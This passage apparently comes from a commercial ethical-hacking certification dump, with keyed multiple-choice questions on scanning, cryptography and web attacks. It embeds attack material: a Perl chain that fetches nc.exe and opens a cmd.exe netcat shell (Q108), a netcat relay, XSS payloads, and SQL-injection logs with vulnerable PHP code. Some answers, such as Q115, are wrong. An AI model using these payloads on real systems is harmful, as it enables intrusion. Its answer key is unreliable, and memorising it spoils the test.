11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)

12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds

Second one:

1 [10.0.0.252]# nmap -sO 10.0.0.2

2

3 Starting Nmap 4.01 at 2006-07-14 12:56 BST

4 Interesting protocols on 10.0.0.2:

5 (The 251 protocols scanned but not shown below are

6 in state: closed)

7 PROTOCOL STATE SERVICE

8 1 open icmp

9 2 open|filtered igmp

10 6 open tcp

11 17 open udp

12 255 open|filtered unknown

13

14 Nmap finished: 1 IP address (1 host up) scanned in

15 1.259 seconds

A.
10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.

B.
10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

C.
10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.

D.
10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

Answer: A
Explanation:

QUESTION NO: 100

Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?

A.
Cain

B.
John the Ripper

C.
Nikto

D.
Hping

Answer: A
Explanation:

QUESTION NO: 101

Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?

A.
They are written in Java.

B.
They send alerts to security monitors.

C.
They use the same packet analysis engine.

D.
They use the same packet capture utility.

Answer: D
Explanation:

QUESTION NO: 102

Which set of access control solutions implements two-factor authentication?

A.
USB token and PIN

B.
Fingerprint scanner and retina scanner

C.
Password and PIN

D.
Account and password

Answer: A
Explanation:

QUESTION NO: 103

A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?

A.

SSL

B.
Mutual authentication

C.
IPSec

D.
Static IP addresses

Answer: C
Explanation:

QUESTION NO: 104

A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?

A.
IP Security (IPSEC)

B.
Multipurpose Internet Mail Extensions (MIME)

C.
Pretty Good Privacy (PGP)

D.
Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)

Answer: C
Explanation:

QUESTION NO: 105

To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?

A.
Recipient's private key

B.
Recipient's public key

C.
Master encryption key

D.
Sender's public key

Answer: B
Explanation:

QUESTION NO: 106

An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?

A.
g++ hackersExploit.cpp -o calc.exe

B.
g++ hackersExploit.py -o calc.exe

C.
g++ -i hackersExploit.pl -o calc.exe

D.
g++ --compile –i hackersExploit.cpp -o calc.exe

Answer: A
Explanation:

QUESTION NO: 107

A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am.

Which of the following programming languages would most likely be used?

A.
PHP

B.
C#

C.
Python

D.
ASP.NET

Answer: C
Explanation:

QUESTION NO: 108

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

```
system("perl msadc.pl -h $host -C \"echo open $your >testfile\"");
system("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\"");
("perl msadc.pl -h $host -C \"echo quit>>testfile\"");
system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
```

Which exploit is indicated by this script?

A.
A buffer overflow exploit

B.
A chained exploit

C.
A SQL injection exploit

D.
A denial of service exploit

Answer: B
Explanation:

QUESTION NO: 109

One advantage of an application-level firewall is the ability to

A.
filter packets at the network level.

B.
filter specific commands, such as http:post.

C.
retain state information for each packet.

D.
monitor tcp handshaking.

Answer: B
Explanation:

QUESTION NO: 110

Which of the statements concerning proxy firewalls is correct?

A.
Proxy firewalls increase the speed and functionality of a network.

B.
Firewall proxy servers decentralize all activity for an application.

C.
Proxy firewalls block network packets from passing to and from a protected network.

D.
Computers establish a connection with a proxy firewall which initiates a new network connection for the client.

Answer: D
Explanation:

QUESTION NO: 111

Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?

A.
NMAP -PN -A -O -sS 192.168.2.0/24

B.
NMAP -P0 -A -O -p1-65535 192.168.0/24

C.
NMAP -P0 -A -sT -p0-65535 192.168.0/16

D.
NMAP -PN -O -sS -p 1-1024 192.168.0/8

Answer: B
Explanation:

QUESTION NO: 112

While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?

A.
10.10.10.10

B.
127.0.0.1

C.
192.168.1.1

D.
192.168.168.168

Answer: B
Explanation:

QUESTION NO: 113

A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0. How can NMAP be used to scan these adjacent Class C networks?

A.
NMAP -P 192.168.1-5.

B.
NMAP -P 192.168.0.0/16

C.
NMAP -P 192.168.1.0,2.0,3.0,4.0,5.0

D.
NMAP -P 192.168.1/17

Answer: A
Explanation:

QUESTION NO: 114

A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?

A.
Spoofing an IP address

B.

Tunneling scan over SSH

C.
Tunneling over high port numbers

D.
Scanning using fragmented IP packets

Answer: B
Explanation:

QUESTION NO: 115

A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?

A.
-sO

B.
-sP

C.
-sS

D.
-sU

Answer: A
Explanation:

QUESTION NO: 116

ICMP ping and ping sweeps are used to check for active systems and to check

A.
if ICMP ping traverses a firewall.

B.
the route that the ICMP ping took.

C.
the location of the switchport in relation to the ICMP ping.

D.
the number of hops an ICMP ping takes to reach a destination.

Answer: A
Explanation:

QUESTION NO: 117

Which command line switch would be used in NMAP to perform operating system detection?

A.
-OS

B.
-sO

C.
-sP

D.
-O

Answer: D
Explanation:

QUESTION NO: 118

A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?

A.
Locate type=ns

B.
Request type=ns

C.

Set type=ns

D.
Transfer type=ns

Answer: C
Explanation:

QUESTION NO: 119

A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?

A.
Cupp

B.
Nessus

C.
Cain and Abel

D.
John The Ripper Pro

Answer: C
Explanation:

QUESTION NO: 120

On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?

A.
nessus +

B.
nessus *s

C.
nessus &

D.
nessus -d

Answer: C
Explanation:

QUESTION NO: 121

Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?

A.
NMAP

B.
Metasploit

C.
Nessus

D.
BeEF

Answer: C
Explanation:

QUESTION NO: 122

What is the best defense against privilege escalation vulnerability?

A.
Patch systems regularly and upgrade interactive login privileges at the system administrator level.

B.
Run administrator and applications on least privileges and use a content registry for tracking.

C.
Run services with least privileged accounts and implement multi-factor authentication and authorization.

D.

Review user roles and administrator privileges for maximum utilization of automation services.

Answer: C
Explanation:

QUESTION NO: 123

How can a rootkit bypass Windows 7 operating system’s kernel mode, code signing policy?

A.
Defeating the scanner from detecting any code change at the kernel

B.
Replacing patch system calls with its own version that hides the rootkit (attacker's) actions

C.
Performing common services for the application process and replacing real applications with fake ones

D.
Attaching itself to the master boot record in a hard drive and changing the machine's boot sequence/options

Answer: D
Explanation:

QUESTION NO: 124

Which of the following items of a computer system will an anti-virus program scan for viruses?

A.
Boot Sector

B.
Deleted Files

C.
Windows Process List

D.
Password Protected Files

Answer: A

Explanation:

QUESTION NO: 125

Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?

A.
UDP 123

B.
UDP 541

C.
UDP 514

D.
UDP 415

Answer: C

Explanation:

QUESTION NO: 126

A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?

A.
Issue the pivot exploit and set the meterpreter.

B.
Reconfigure the network settings in the meterpreter.

C.
Set the payload to propagate through the meterpreter.

D.
Create a route statement in the meterpreter.

Answer: D

Explanation:

QUESTION NO: 127

What is the outcome of the comm”nc -l -p 2222 | nc 10.1.0.43 1234"?

A.
Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.

B.
Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234.

C.
Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222.

D.
Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.

Answer: B
Explanation:

QUESTION NO: 128

Which of the following is a client-server tool utilized to evade firewall inspection?

A.
tcp-over-dns

B.
kismet

C.
nikto

D.
hping

Answer: A

Explanation:

QUESTION NO: 129

Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?

A.
DataThief

B.
NetCat

C.
Cain and Abel

D.
SQLInjector

Answer: A

Explanation:

QUESTION NO: 130

A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database.

In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?

A.
Semicolon

B.
Single quote

C.
Exclamation mark

D.
Double quote

Answer: B

Explanation:

QUESTION NO: 131

Which of the following identifies the three modes in which Snort can be configured to run?

A.
Sniffer, Packet Logger, and Network Intrusion Detection System

B.
Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System

C.
Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System

D.
Sniffer, Packet Logger, and Host Intrusion Prevention System

Answer: A

Explanation:

QUESTION NO: 132

When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?

A.
Network tap

B.
Layer 3 switch

C.
Network bridge

D.
Application firewall

Answer: A

Explanation:

QUESTION NO: 133

Which of the following programming languages is most vulnerable to buffer overflow attacks?

A.
Perl

B.
C++

C.
Python

D.
Java

Answer: B
Explanation:

QUESTION NO: 134

Smart cards use which protocol to transfer the certificate in a secure manner?

A.
Extensible Authentication Protocol (EAP)

B.
Point to Point Protocol (PPP)

C.
Point to Point Tunneling Protocol (PPTP)

D.
Layer 2 Tunneling Protocol (L2TP)

Answer: A
Explanation:

QUESTION NO: 135

Which of the following is a hashing algorithm?

A.
MD5

B.
PGP

C.
DES

D.
ROT13

Answer: A
Explanation:

QUESTION NO: 136

Which of the following problems can be solved by using Wireshark?

A.
Tracking version changes of source code

B.
Checking creation dates on all webpages on a server

C.
Resetting the administrator password on multiple systems

D.
Troubleshooting communication resets between two systems

Answer: D
Explanation:

QUESTION NO: 137

What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?

A.
tcp.src == 25 and ip.host == 192.168.0.125

B.
host 192.168.0.125:25

C.
port 25 and host 192.168.0.125

D.
tcp.port == 25 and ip.host == 192.168.0.125

Answer: D
Explanation:

QUESTION NO: 138

Which tool would be used to collect wireless packet data?

A.
NetStumbler

B.
John the Ripper

C.
Nessus

D.
Netcat

Answer: A
Explanation:

QUESTION NO: 139

Which of the following is an example of two factor authentication?

A.
PIN Number and Birth Date

B.
Username and Password

C.
Digital Certificate and Hardware Token

D.
Fingerprint and Smartcard ID

Answer: D
Explanation:

QUESTION NO: 140

Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?

A.
768 bit key

B.
1025 bit key

C.
1536 bit key

D.
2048 bit key

Answer: C
Explanation:

QUESTION NO: 141

After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application?

A.

SHA1

B.
Diffie-Helman

C.
RSA

D.
AES

Answer: A
Explanation:

QUESTION NO: 142

What statement is true regarding LM hashes?

A.
LM hashes consist in 48 hexadecimal characters.

B.
LM hashes are based on AES128 cryptographic standard.

C.
Uppercase characters in the password are converted to lowercase.

D.
LM hashes are not generated when the password length exceeds 15 characters.

Answer: D
Explanation:

QUESTION NO: 143

A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?

A.

if (billingAddress = 50) {update field} else exit

B.
if (billingAddress != 50) {update field} else exit

C.
if (billingAddress >= 50) {update field} else exit

D.
if (billingAddress <= 50) {update field} else exit

Answer: D
Explanation:

QUESTION NO: 144

A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field:

IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox("Vulnerable");>"

When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".

Which web applications vulnerability did the analyst discover?

A.
Cross-site request forgery

B.
Command injection

C.
Cross-site scripting

D.
SQL injection

Answer: C
Explanation:

QUESTION NO: 145

A security administrator notices that the log file of the company's webserver contains suspicious entries:

```
\[20/Mar/2011:10:49:07\] "GET /login.php?user=test'+oR+3>2%20-- HTTP/1.1" 200 9958
\[20/Mar/2011:10:51:02\] "GET /login.php?user=admin';%20-- HTTP/1.1" 200 9978
```

The administrator decides to further investigate and analyze the source code of login.php file:

```
php
include('../../config/db_connect.php');
$user = $_GET['user'];
$pass = $_GET['pass'];
$sql = "SELECT * FROM USERS WHERE username = '$user' AND password = '$pass'";
$result = mysql_query($sql) or die ("couldn't execute query");

if (mysql_num_rows($result) != 0 ) echo 'Authentication granted!';
else echo 'Authentication failed!';
?>
```


Based on source code analysis, the analyst concludes that the login.php script is vulnerable to

A.
command injection.

B.
SQL injection.

C.
directory traversal.

D.
LDAP injection.

Answer: B

Explanation:

QUESTION NO: 146

Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?

A.
Firewall

B.
Honeypot

C.
Core server

D.
Layer 4 switch

Answer: B
Explanation:

QUESTION NO: 147

Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?

A.
ping 192.168.2.

B.
ping 192.168.2.255

C.
for %V in (1 1 255) do PING 192.168.2.%V

D.
for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"

Answer: D
Explanation:

QUESTION NO: 148

What results will the following command yield: 'NMAP -sS -O -p 123-153 192.168.100.3'?

A.
A stealth scan, opening port 123 and 153

B.
A stealth scan, checking open ports 123 to 153

C.
A stealth scan, checking all open ports excluding ports 123 to 153

D.
A stealth scan, determine operating system, and scanning ports 123 to 153

Answer: D
Explanation:

QUESTION NO: 149

Which of the following parameters enables NMAP's operating system detection feature?

A.
NMAP -sV

B.
NMAP -oS

C.
NMAP -sR

D.
NMAP -O

Answer: D
Explanation:

QUESTION NO: 150

Which of the following open source tools would be the best choice to scan a network for potential targets?

A.
NMAP

B.
NIKTO

C.
CAIN

D.
John the Ripper

Answer: A
Explanation:

QUESTION NO: 151

A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use?

A.
-sO

B.
-sP

C.
-sS

D.
-sU

Answer: B
Explanation:

QUESTION NO: 152

A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?

A.
Fraggle

B.
MAC Flood

C.
Smurf

D.
Tear Drop

Answer: B
Explanation:

QUESTION NO: 153

Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?

A.
Netstat WMI Scan

B.
Silent Dependencies

C.
Consider unscanned ports as closed

D.
Reduce parallel connections on congestion

Answer: D
Explanation:

QUESTION NO: 154

How does an operating system protect the passwords used for account logins?

A.
The operating system performs a one-way hash of the passwords.

B.
The operating system stores the passwords in a secret file that users cannot find.

C.
The operating system encrypts the passwords, and decrypts them when needed.

D.
The operating system stores all passwords in a protected segment of non-volatile memory.

Answer: A

Explanation:

QUESTION NO: 155

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

A.
Cavity virus

B.
Polymorphic virus

C.
Tunneling virus

D.
Stealth virus

Answer: D

Explanation:

QUESTION NO: 156

An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?

A.
By using SQL injection

B.
By changing hidden form values

C.
By using cross site scripting

D.
By utilizing a buffer overflow attack

Answer: B

Explanation:

QUESTION NO: 157

Which tool can be used to silently copy files from USB devices?

A.
USB Grabber

B.
USB Dumper

C.
USB Sniffer

D.
USB Snoopy

Answer: B

Explanation:

QUESTION NO: 158

Which of the following is used to indicate a single-line comment in structured query language (SQL)?

A.
--

B.
||

C.
%%

D.
"

Answer: A

Explanation:

QUESTION NO: 159

A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command:

NMAP –n –sS –P0 –p 80 ***.***.**.**

What type of scan is this?

A.
Quick scan

B.
Intense scan

C.
Stealth scan

D.
Comprehensive scan

Answer: C
Explanation:

QUESTION NO: 160

What is the broadcast address for the subnet 190.86.168.0/22?

A.
190.86.168.255

B.
190.86.255.255

C.
190.86.171.255

D.
190.86.169.255

Answer: C
Explanation:

QUESTION NO: 161

A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?

A.
Perform a dictionary attack.

B.
Perform a brute force attack.

C.
Perform an attack with a rainbow table.

D.
Perform a hybrid attack.

Answer: C
Explanation:

QUESTION NO: 162

Which of the following does proper basic configuration of snort as a network intrusion detection system require?

A.
Limit the packets captured to the snort configuration file.

B.
Capture every packet on the network segment.

C.
Limit the packets captured to a single segment.

D.
Limit the packets captured to the /var/log/snort directory.

Answer: A

Explanation:

QUESTION NO: 163

How is sniffing broadly categorized?

A.
Active and passive

B.
Broadcast and unicast

C.
Unmanaged and managed

D.
Filtered and unfiltered

Answer: A
Explanation:

QUESTION NO: 164

What are the three types of authentication?

A.
Something you: know, remember, prove

B.
Something you: have, know, are

C.
Something you: show, prove, are

D.
Something you: show, have, prove

Answer: B
Explanation:

QUESTION NO: 165

The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and

A.
non-repudiation.

B.
operability.

C.
security.

D.
usability.

Answer: A
Explanation:

QUESTION NO: 166

What is the main disadvantage of the scripting languages as opposed to compiled programming languages?

A.
Scripting languages are hard to learn.

B.
Scripting languages are not object-oriented.

C.
Scripting languages cannot be used to create graphical user interfaces.

D.
Scripting languages are slower because they require an interpreter to run the code.

Answer: D
Explanation:

QUESTION NO: 167

A botnet can be managed through which of the following?

A.
IRC

B.
E-Mail

C.
Linkedin and Facebook

D.
A vulnerable FTP server

Answer: A
Explanation:

QUESTION NO: 168

Fingerprinting VPN firewalls is possible with which of the following tools?

A.
Angry IP

B.
Nikto

C.
Ike-scan

D.
Arp-scan

Answer: C
Explanation:

QUESTION NO: 169

What is a successful method for protecting a router from potential smurf attacks?

A.
Placing the router in broadcast mode

B.
Enabling port forwarding on the router

C.
Installing the router outside of the network's firewall

D.
Disabling the router from accepting broadcast ping messages

Answer: D
Explanation:

Topic 5, Procedures/ Methodology

QUESTION NO: 170

Which of the following is optimized for confidential communications, such as bidirectional voice and video?

A.
RC4

B.
RC5

C.
MD4

D.
MD5

Answer: A
Explanation:

QUESTION NO: 171

Advanced encryption standard is an algorithm used for which of the following?

A.
Data integrity

B.
Key discovery

C.
Bulk data encryption

D.
Key recovery

Answer: C
Explanation:

QUESTION NO: 172

The fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following?

A.
Multiple keys for non-repudiation of bulk data

B.
Different keys on both ends of the transport medium

C.
Bulk encryption for data transmission over fiber

D.
The same key on each end of the transmission medium

Answer: D
Explanation:

QUESTION NO: 173

An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key?

A.

Birthday attack

B.
Plaintext attack

C.
Meet in the middle attack

D.
Chosen ciphertext attack

Answer: D
Explanation:

QUESTION NO: 174

What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?

A.
Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.

B.
To get messaging programs to function with this algorithm requires complex configurations.

C.
It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.

D.
It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.

Answer: D
Explanation:

QUESTION NO: 175

A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?

A.
Public key

B.
Private key

C.
Modulus length

D.
Email server certificate

Answer: B
Explanation:

QUESTION NO: 176

When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?

A.
The key entered is a symmetric key used to encrypt the wireless data.

B.
The key entered is a hash that is used to prove the integrity of the wireless data.

C.
The key entered is based on the Diffie-Hellman method.

D.
The key is an RSA key used to encrypt the wireless data.

Answer: A
Explanation:

QUESTION NO: 177

An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?

A.

Timing attack

B.
Replay attack

C.
Memory trade-off attack

D.
Chosen plain-text attack

Answer: D
Explanation:

QUESTION NO: 178

Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?

A.
Certificate issuance

B.
Certificate validation

C.
Certificate cryptography

D.
Certificate revocation

Answer: B
Explanation:

QUESTION NO: 179

Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?

A.
Key registry

B.
Recovery agent

C.
Directory

D.
Key escrow

Answer: D
Explanation:

QUESTION NO: 180

To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?

A.
Harvesting

B.
Windowing

C.
Hardening

D.
Stealthing

Answer: C
Explanation:

QUESTION NO: 181

Which of the following is a common Service Oriented Architecture (SOA) vulnerability?

A.
Cross-site scripting

B.
SQL injection

C.
VPath injection

D.
XML denial of service issues

Answer: D
Explanation:

QUESTION NO: 182

The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?

A.
Investigate based on the maintenance schedule of the affected systems.

B.
Investigate based on the service level agreements of the systems.

C.
Investigate based on the potential effect of the incident.

D.
Investigate based on the order that the alerts arrived in.

Answer: C
Explanation:

QUESTION NO: 183

An IT security engineer notices that the company’s web server is currently being hacked. What should the engineer do next?

A.
Unplug the network connection on the company’s web server.

B.
Determine the origin of the attack and launch a counterattack.

C.
Record as much information as possible from the attack.

D.
Perform a system restart on the company's web server.

Answer: C
Explanation:

QUESTION NO: 184

Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?

A.
CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide.

B.
CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad.

C.
CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations.

D.
CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual's property or company's asset.

Answer: A
Explanation:

QUESTION NO: 185

Which of the following items is unique to the N-tier architecture method of designing software applications?

A.
Application layers can be separated, allowing each layer to be upgraded independently from other layers.

B.
It is compatible with various databases including Access, Oracle, and SQL.

C.
Data security is tied into each layer and must be updated for all layers when any upgrade is performed.

D.
Application layers can be written in C, ASP.NET, or Delphi without any performance loss.

Answer: A
Explanation:

QUESTION NO: 186

If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?

A.
Hping

B.
Traceroute

C.
TCP ping

D.
Broadcast ping

Answer: A
Explanation:

QUESTION NO: 187

Which of the following descriptions is true about a static NAT?

A.
A static NAT uses a many-to-many mapping.

B.
A static NAT uses a one-to-many mapping.

C.
A static NAT uses a many-to-one mapping.

D.
A static NAT uses a one-to-one mapping.

Answer: D
Explanation:

QUESTION NO: 188

Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?

A.
Teardrop

B.
SYN flood

C.
Smurf attack

D.
Ping of death

Answer: A
Explanation:

QUESTION NO: 189

Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?

A.

Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.

B.
Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.

C.
Configure the firewall to allow traffic on TCP port 53.

D.
Configure the firewall to allow traffic on TCP port 8080.

Answer: A
Explanation:

QUESTION NO: 190

While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site:

<script>alert(" Testing Testing Testing ")</script>

Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been detected in the web application?

A.
Buffer overflow

B.
Cross-site request forgery

C.
Distributed denial of service

D.
Cross-site scripting

Answer: D
Explanation:

QUESTION NO: 191

Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?

A.
They provide a repeatable framework.

B.
Anyone can run the command line scripts.

C.
They are available at low cost.

D.
They are subject to government regulation.

Answer: A
Explanation:

QUESTION NO: 192

The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?

A.
An extensible security framework named COBIT

B.
A list of flaws and how to fix them

C.
Web application patches

D.
A security certification for hardened web applications

Answer: B
Explanation:

Thank You for Trying Our Product

EnsurePass Certification Exam Features:

♀ **More than 99,900 Satisfied Customers Worldwide.**

♀ **Average 99.9% Success Rate.**

♀ **Free Update to match latest and real exam scenarios**

♀ **Instant Download Access! No Setup required**

♀ **Questions & Answers are downloadable in PDF format and VCE test engine format.**

♀ **100% Guaranteed Success or 100% Money Back Guarantee**

♀ **Fast, helpful support 24x7.**

View list of all certification exams:

https://www.ensurepass.com

2023 Coupon Code 20% OFF : PASS20